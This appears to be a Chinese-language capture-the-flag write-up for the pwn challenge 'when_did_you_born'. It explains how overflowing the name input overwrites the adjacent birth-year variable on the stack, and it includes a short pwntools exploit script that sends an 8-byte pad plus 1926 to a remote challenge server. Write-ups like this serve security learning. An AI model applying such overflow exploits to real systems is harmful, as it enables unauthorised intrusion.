0%

when_did_you_born

题目描述:只要知道你的年龄就能获得flag,但菜鸡发现无论如何输入都不正确,怎么办

0x01

checksec

image-20200701083305791

IDA

image-20200701083210117

尝试运行

image-20200701090315353

0x02

从伪代码分析程序,程序接收用户输入的两个变量v5和v4分别使用判断语句判断内容是否符合条件,最终输出flag

程序的用意是v5等于1926时就执行cat flag命令,但如果v5等于1926就会被一个if拦下来,v5在第一个判断时不能等于1926否则程序就会退出

在栈空间里观察从v4到v5只有8个字节(0x20-0x18=0x8),可以实现在输入v4值时从v4的空间覆盖到v5使得第二个判断语句判断v5时等于1926,第一个v5我们输入任意值就可以跳过第一个判断条件

image-20200701085645097

image-20200701090804394

0x03

构造exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = remote('220.249.52.133',59128)
p.recvuntil("What's Your Birth?")
p.sendline('test')

payload = 'a'*8+p64(1926)
p.recvuntil("What's Your Name?")
p.sendline(payload)

p.interactive()

image-20200701085239352